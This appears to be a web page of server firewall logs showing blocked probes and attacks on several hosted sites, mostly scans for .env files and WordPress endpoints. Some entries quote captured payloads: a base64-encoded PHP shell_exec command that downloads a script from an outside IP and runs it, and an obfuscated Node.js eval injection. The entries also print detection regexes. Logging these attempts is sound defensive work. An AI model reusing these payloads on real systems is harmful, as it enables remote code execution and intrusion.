|
🇺🇸
66.187.5.19
|
|
[Sat Jul 11 16:38:07.870823 2026] [security2:error] [pid 120762:tid 120913] [client 66.187.5.19:5829 ...
show more
[Sat Jul 11 16:38:07.870823 2026] [security2:error] [pid 120762:tid 120913] [client 66.187.5.19:58292] [client 66.187.5.19] ModSecurity: Access denied with code 403 (phase 2). Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.4"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "26th.eu"] [uri "/.env"] [unique_id "alJVT3mDz9EjtziV7bw2PAAABC4"]
[Sat Jul 11 16:38:08.096344 2026] [security2:error] [pid 120762:tid 120914] [client 66.187.5.19:58292] [client 66.187.5.19] ModSecurity: Access denied with code 403 (phase 2). Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/
...
show less
|
Web App Attack
|
|
🇫🇷
85.204.70.102
|
|
[Sat Jul 11 16:20:08.407158 2026] [core:info] [pid 120762:tid 120899] [client 85.204.70.102:39742] A ...
show more
[Sat Jul 11 16:20:08.407158 2026] [core:info] [pid 120762:tid 120899] [client 85.204.70.102:39742] AH00128: File does not exist: /home/harald/www/fehlende.info/blog/wp-includes/wlwmanifest.xml
...
show less
|
Bad Web Bot
|
|
🇸🇬
52.230.33.134
|
|
[Sat Jul 11 16:11:37.497736 2026] [core:info] [pid 120715:tid 120840] [client 52.230.33.134:17623] A ...
show more
[Sat Jul 11 16:11:37.497736 2026] [core:info] [pid 120715:tid 120840] [client 52.230.33.134:17623] AH00128: File does not exist: /home/divisio/www/admin/function.php
...
show less
|
Bad Web Bot
|
|
🇮🇷
188.229.74.41
|
|
[Sat Jul 11 15:40:30.791322 2026] [core:info] [pid 102878:tid 103068] [client 188.229.74.41:6384] AH ...
show more
[Sat Jul 11 15:40:30.791322 2026] [core:info] [pid 102878:tid 103068] [client 188.229.74.41:6384] AH00128: File does not exist: /home/harald/www/DomainBLDB/admin/
...
show less
|
Bad Web Bot
|
|
🇺🇸
35.192.232.168
|
|
[Sat Jul 11 15:14:34.359169 2026] [security2:error] [pid 102878:tid 103080] [client 35.192.232.168:1 ...
show more
[Sat Jul 11 15:14:34.359169 2026] [security2:error] [pid 102878:tid 103080] [client 35.192.232.168:14512] [client 35.192.232.168] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?:(?:_(?:\\\\$\\\\$ND_FUNC\\\\$\\\\$_|_js_function)|(?:new\\\\s+Function|\\\\beval)\\\\s*\\\\(|String\\\\s*\\\\.\\\\s*fromCharCode|function\\\\s*\\\\(\\\\s*\\\\)\\\\s*{|this\\\\.constructor)|module\\\\.exports\\\\s*=)" at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-934-APPLICATION-ATTACK-NODEJS.conf"] [line "70"] [id "934100"] [msg "Node.js Injection Attack"] [data "Matched Data: String.fromCharCode found within ARGS:0: {\\x22__9c205592\\x22:0,\\x22ns_8c43ecad\\x22:true,\\x22then\\x22:\\x22$1:__proto__:then\\x22,\\x22reason\\x22:-1,\\x22value\\x22:\\x22{\\x5c\\x22then\\x5c\\x22: \\x5c\\x22$B0\\x5c\\x22}\\x22,\\x22status\\x22:\\x22resolved_model\\x22,\\x22_response\\x22:{\\x22_prefix\\x22:\\x22var jzbf=arguments['\\x5c\\x5cx31'];var lzz=jzbf;try{var _v=((0,eval)(global[String.from
...
show less
|
Web App Attack
|
|
🇺🇸
136.116.198.170
|
|
[Sat Jul 11 14:04:09.385169 2026] [security2:error] [pid 102987:tid 103204] [client 136.116.198.170: ...
show more
[Sat Jul 11 14:04:09.385169 2026] [security2:error] [pid 102987:tid 103204] [client 136.116.198.170:10496] [client 136.116.198.170] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?:(?:_(?:\\\\$\\\\$ND_FUNC\\\\$\\\\$_|_js_function)|(?:new\\\\s+Function|\\\\beval)\\\\s*\\\\(|String\\\\s*\\\\.\\\\s*fromCharCode|function\\\\s*\\\\(\\\\s*\\\\)\\\\s*{|this\\\\.constructor)|module\\\\.exports\\\\s*=)" at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-934-APPLICATION-ATTACK-NODEJS.conf"] [line "70"] [id "934100"] [msg "Node.js Injection Attack"] [data "Matched Data: String.fromCharCode found within ARGS:0: {\\x22value\\x22:\\x22{\\x5c\\x22then\\x5c\\x22: \\x5c\\x22$B0\\x5c\\x22}\\x22,\\x22ns_628f4af8\\x22:\\x225c02\\x22,\\x22ns_e6a5b006\\x22:[],\\x22then\\x22:\\x22$1:__proto__:then\\x22,\\x22reason\\x22:-1,\\x22$384d1f14\\x22:\\x222639\\x22,\\x22$2d27a81e\\x22:\\x22870f7baecfb25fb1\\x22,\\x22status\\x22:\\x22resolved_model\\x22,\\x22_response\\x22:{\\x22_prefix\\x
...
show less
|
Web App Attack
|
|
🇨🇳
183.236.75.189
|
|
[Sat Jul 11 11:36:45.642657 2026] [authz_core:error] [pid 50266:tid 50432] [client 183.236.75.189:37 ...
show more
[Sat Jul 11 11:36:45.642657 2026] [authz_core:error] [pid 50266:tid 50432] [client 183.236.75.189:37684] AH01630: client denied by server configuration: /home/harald/www/aschi.at/xmlrpc.php, referer: https://aschi.at/xmlrpc.php
...
show less
|
Bad Web Bot
|
|
🇮🇳
182.79.81.94
|
|
[Sat Jul 11 11:36:40.680614 2026] [authz_core:error] [pid 50610:tid 50689] [client 182.79.81.94:4946 ...
show more
[Sat Jul 11 11:36:40.680614 2026] [authz_core:error] [pid 50610:tid 50689] [client 182.79.81.94:49464] AH01630: client denied by server configuration: /home/harald/www/aschi.at/xmlrpc.php, referer: https://aschi.at/xmlrpc.php
...
show less
|
Bad Web Bot
|
|
🇲🇾
49.125.201.91
|
|
[Sat Jul 11 11:36:35.251307 2026] [authz_core:error] [pid 50266:tid 50427] [client 49.125.201.91:466 ...
show more
[Sat Jul 11 11:36:35.251307 2026] [authz_core:error] [pid 50266:tid 50427] [client 49.125.201.91:46692] AH01630: client denied by server configuration: /home/harald/www/aschi.at/xmlrpc.php, referer: https://aschi.at/xmlrpc.php
...
show less
|
Bad Web Bot
|
|
🇷🇺
91.215.85.88
|
|
[Sat Jul 11 11:36:32.659408 2026] [authz_core:error] [pid 50610:tid 50693] [client 91.215.85.88:5671 ...
show more
[Sat Jul 11 11:36:32.659408 2026] [authz_core:error] [pid 50610:tid 50693] [client 91.215.85.88:56717] AH01630: client denied by server configuration: /home/harald/www/aschi.at/xmlrpc.php, referer: https://aschi.at/xmlrpc.php
...
show less
|
Bad Web Bot
|
|
🇨🇭
107.189.28.30
|
|
[Sat Jul 11 10:26:04.438584 2026] [security2:error] [pid 50266:tid 50458] [client 107.189.28.30:6021 ...
show more
[Sat Jul 11 10:26:04.438584 2026] [security2:error] [pid 50266:tid 50458] [client 107.189.28.30:60214] [client 107.189.28.30] ModSecurity: Access denied with code 403 (phase 2). Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.4"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "anubis.weavernet.at"] [uri "/.env"] [unique_id "alH-HJpaF_lspKcqgVyjwQAAAog"]
[Sat Jul 11 10:26:04.938344 2026] [security2:error] [pid 50266:tid 50474] [client 107.189.28.30:60214] [client 107.189.28.30] ModSecurity: Access denied with code 403 (phase 2). Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsec
...
show less
|
Web App Attack
|
|
🇹🇭
202.183.141.133
|
|
[Sat Jul 11 09:22:06.353791 2026] [security2:error] [pid 50512:tid 50646] [client 202.183.141.133:58 ...
show more
[Sat Jul 11 09:22:06.353791 2026] [security2:error] [pid 50512:tid 50646] [client 202.183.141.133:58684] [client 202.183.141.133] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)(?:;|\\\\{|\\\\||\\\\|\\\\||&|&&|\\\\n|\\\\r|`)\\\\s*[\\\\(,@\\\\'\\"\\\\s]*(?:[\\\\w'\\"\\\\./]+/|[\\\\\\\\'\\"\\\\^]*\\\\w[\\\\\\\\'\\"\\\\^]*:.*\\\\\\\\|[\\\\^\\\\.\\\\w '\\"/\\\\\\\\]*\\\\\\\\)?[\\"\\\\^]*(?:m[\\"\\\\^]*(?:y[\\"\\\\^]*s[\\"\\\\^]*q[\\"\\\\^]*l(?:[\\"\\\\^]*(?:d[\\"\\\\^]*u[\\"\\\\^]*m[\\"\\\\^]*p(?:[\\"\\\\^]*s[\\"\\\\^ ..." at ARGS:<?php shell_exec(base64_decode("KHdnZXQgLS1uby1jaGVjay1jZXJ0aWZpY2F0ZSAtcU8tIGh0dHBzOi8vMjE3LjYwLjE5NS4xMTMvc2ggfHwgY3VybCAtc2sgaHR0cHM6Ly8yMTcuNjAuMTk1LjExMy9zaCkgfCBzaCAtcyBjdmVfMjAyNF80NTc3LnNlbGZyZXA. [file "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "256"] [id "932110"] [msg "Remote Command Execution: Windows Command Injection"] [data "Matched Data: ; echo found within ARGS:<?php shell_exec(base64
...
show less
|
Web App Attack
|
|
🇳🇱
195.178.110.103
|
|
[Sat Jul 11 08:48:57.814288 2026] [security2:error] [pid 50266:tid 50391] [client 195.178.110.103:41 ...
show more
[Sat Jul 11 08:48:57.814288 2026] [security2:error] [pid 50266:tid 50391] [client 195.178.110.103:41462] [client 195.178.110.103] ModSecurity: Access denied with code 403 (phase 2). Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.4"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "aschi.at"] [uri "/.env"] [unique_id "alHnWZpaF_lspKcqgVyjQAAAAno"], referer: https://www.bing.com/search?q=5a6fdx
[Sat Jul 11 08:49:01.582734 2026] [security2:error] [pid 50610:tid 50703] [client 195.178.110.103:17738] [client 195.178.110.103] ModSecurity: Access denied with code 403 (phase 2). Matched phrase "/.env" a
...
show less
|
Web App Attack
|
|
🇳🇱
104.28.217.138
|
|
[Sat Jul 11 08:30:56.720730 2026] [security2:error] [pid 50282:tid 50335] [remote 104.28.217.138:294 ...
show more
[Sat Jul 11 08:30:56.720730 2026] [security2:error] [pid 50282:tid 50335] [remote 104.28.217.138:29477] [client 104.28.217.138] ModSecurity: Access denied with code 403 (phase 2). Pattern match "Search Engine" at TX:httpbl_msg. [file "/usr/share/modsecurity-crs/rules/REQUEST-910-IP-REPUTATION.conf"] [line "199"] [id "910150"] [msg "HTTP Blacklist match for search engine IP"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.4"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-reputation-ip"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [hostname "oachost.26th.eu"] [uri "/"] [unique_id "alHjIM4MwAtDNfdB4Y5f0QAC1AU"]
[Sat Jul 11 08:30:57.125716 2026] [security2:error] [pid 50282:tid 50337] [remote 104.28.217.138:29477] [client 104.28.217.138] ModSecurity: Access denied with code 403 (phase 2). Pattern match "Search Engine" at TX:httpbl_msg. [file "/usr/share/modsecurity-crs/rules/REQUEST-910-IP-REPUTATION.conf"] [line "199"] [id "910150"] [msg "HTTP Blacklist ma
...
show less
|
Web App Attack
|
|
🇫🇷
147.135.137.13
|
|
[Sat Jul 11 06:54:23.084302 2026] [core:info] [pid 32590:tid 32725] [client 147.135.137.13:55186] AH ...
show more
[Sat Jul 11 06:54:23.084302 2026] [core:info] [pid 32590:tid 32725] [client 147.135.137.13:55186] AH00128: File does not exist: /home/harald/www/default_host/_profiler/phpinfo
...
show less
|
Bad Web Bot
|
|
🇩🇪
151.243.150.222
|
|
[Sat Jul 11 06:47:31.110322 2026] [core:info] [pid 32590:tid 32749] [client 151.243.150.222:39492] A ...
show more
[Sat Jul 11 06:47:31.110322 2026] [core:info] [pid 32590:tid 32749] [client 151.243.150.222:39492] AH00128: File does not exist: /home/harald/www/default_host/config/database.php
...
show less
|
Bad Web Bot
|
|
🇵🇱
94.26.88.19
|
|
[Sat Jul 11 04:35:51.924409 2026] [core:info] [pid 14853:tid 14937] [client 94.26.88.19:43936] AH001 ...
show more
[Sat Jul 11 04:35:51.924409 2026] [core:info] [pid 14853:tid 14937] [client 94.26.88.19:43936] AH00128: File does not exist: /home/harald/www/default_host/boaform/admin/formLogin, referer: http://78.46.107.184:80/admin/login.asp
...
show less
|
Bad Web Bot
|
|
🇵🇰
223.123.38.38
|
|
[Sat Jul 11 04:26:09.869438 2026] [core:info] [pid 15024:tid 15131] [client 223.123.38.38:15322] AH0 ...
show more
[Sat Jul 11 04:26:09.869438 2026] [core:info] [pid 15024:tid 15131] [client 223.123.38.38:15322] AH00128: File does not exist: /home/harald/www/default_host/boaform/admin/formLogin
...
show less
|
Bad Web Bot
|
|
🇳🇱
104.28.249.140
|
|
[Sat Jul 11 03:48:29.170882 2026] [security2:error] [pid 2451:tid 2494] [remote 104.28.249.140:34281 ...
show more
[Sat Jul 11 03:48:29.170882 2026] [security2:error] [pid 2451:tid 2494] [remote 104.28.249.140:34281] [client 104.28.249.140] ModSecurity: Access denied with code 403 (phase 2). Pattern match "Search Engine" at TX:httpbl_msg. [file "/usr/share/modsecurity-crs/rules/REQUEST-910-IP-REPUTATION.conf"] [line "199"] [id "910150"] [msg "HTTP Blacklist match for search engine IP"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.4"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-reputation-ip"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [hostname "26th.eu"] [uri "/"] [unique_id "alGg7Ag-JQHtAEPYzXDPFQADDAc"]
[Sat Jul 11 03:48:29.567834 2026] [security2:error] [pid 2451:tid 2496] [remote 104.28.249.140:34281] [client 104.28.249.140] ModSecurity: Access denied with code 403 (phase 2). Pattern match "Search Engine" at TX:httpbl_msg. [file "/usr/share/modsecurity-crs/rules/REQUEST-910-IP-REPUTATION.conf"] [line "199"] [id "910150"] [msg "HTTP Blacklist match for sear
...
show less
|
Web App Attack
|
|
🇳🇱
104.28.249.139
|
|
[Sat Jul 11 03:48:05.486050 2026] [security2:error] [pid 2063:tid 2266] [remote 104.28.249.139:42920 ...
show more
[Sat Jul 11 03:48:05.486050 2026] [security2:error] [pid 2063:tid 2266] [remote 104.28.249.139:42920] [client 104.28.249.139] ModSecurity: Access denied with code 403 (phase 2). Pattern match "Search Engine" at TX:httpbl_msg. [file "/usr/share/modsecurity-crs/rules/REQUEST-910-IP-REPUTATION.conf"] [line "199"] [id "910150"] [msg "HTTP Blacklist match for search engine IP"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.4"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-reputation-ip"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [hostname "blog.26th.eu"] [uri "/"] [unique_id "alGg1BICtAL3o_omat0tBAABYxA"]
[Sat Jul 11 03:48:05.947486 2026] [security2:error] [pid 2063:tid 2262] [remote 104.28.249.139:42920] [client 104.28.249.139] ModSecurity: Access denied with code 403 (phase 2). Pattern match "Search Engine" at TX:httpbl_msg. [file "/usr/share/modsecurity-crs/rules/REQUEST-910-IP-REPUTATION.conf"] [line "199"] [id "910150"] [msg "HTTP Blacklist match for
...
show less
|
Web App Attack
|
|
🇲🇩
37.221.66.43
|
|
[Sat Jul 11 03:37:51.433921 2026] [security2:error] [pid 2547:tid 2632] [client 37.221.66.43:42892] ...
show more
[Sat Jul 11 03:37:51.433921 2026] [security2:error] [pid 2547:tid 2632] [client 37.221.66.43:42892] [client 37.221.66.43] ModSecurity: Access denied with code 403 (phase 2). Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.4"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "78.46.107.184"] [uri "/.env"] [unique_id "alGeb8iEFnuMgLsvH7HEpAAABB8"]
[Sat Jul 11 03:37:51.554458 2026] [security2:error] [pid 2529:tid 2770] [client 37.221.66.43:42904] [client 37.221.66.43] ModSecurity: Access denied with code 403 (phase 2). Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rule
...
show less
|
Web App Attack
|
|
🇺🇸
20.127.239.240
|
|
[Sat Jul 11 03:07:01.576578 2026] [core:info] [pid 2514:tid 2672] [client 20.127.239.240:5543] AH001 ...
show more
[Sat Jul 11 03:07:01.576578 2026] [core:info] [pid 2514:tid 2672] [client 20.127.239.240:5543] AH00128: File does not exist: /home/sabine/www/wp/wp-login.php
...
show less
|
Bad Web Bot
|
|
🇺🇸
20.55.47.117
|
|
[Sat Jul 11 02:06:05.665875 2026] [core:info] [pid 759742:tid 759865] [client 20.55.47.117:59667] AH ...
show more
[Sat Jul 11 02:06:05.665875 2026] [core:info] [pid 759742:tid 759865] [client 20.55.47.117:59667] AH00128: File does not exist: /home/harald/www/fehlende.info/wp/wp-login.php
...
show less
|
Bad Web Bot
|
|
🇫🇷
82.102.18.180
|
|
[Sat Jul 11 00:36:37.477737 2026] [core:info] [pid 720597:tid 720673] [client 82.102.18.180:56878] A ...
show more
[Sat Jul 11 00:36:37.477737 2026] [core:info] [pid 720597:tid 720673] [client 82.102.18.180:56878] AH00128: File does not exist: /home/sabine/www/blog/wp-includes/wlwmanifest.xml
...
show less
|
Bad Web Bot
|
|
🇨🇱
200.111.227.212
|
|
[Fri Jul 10 23:34:38.487438 2026] [authz_core:error] [pid 680479:tid 680544] [client 200.111.227.212 ...
show more
[Fri Jul 10 23:34:38.487438 2026] [authz_core:error] [pid 680479:tid 680544] [client 200.111.227.212:23384] AH01630: client denied by server configuration: /home/harald/www/aschi.at/xmlrpc.php
...
show less
|
Bad Web Bot
|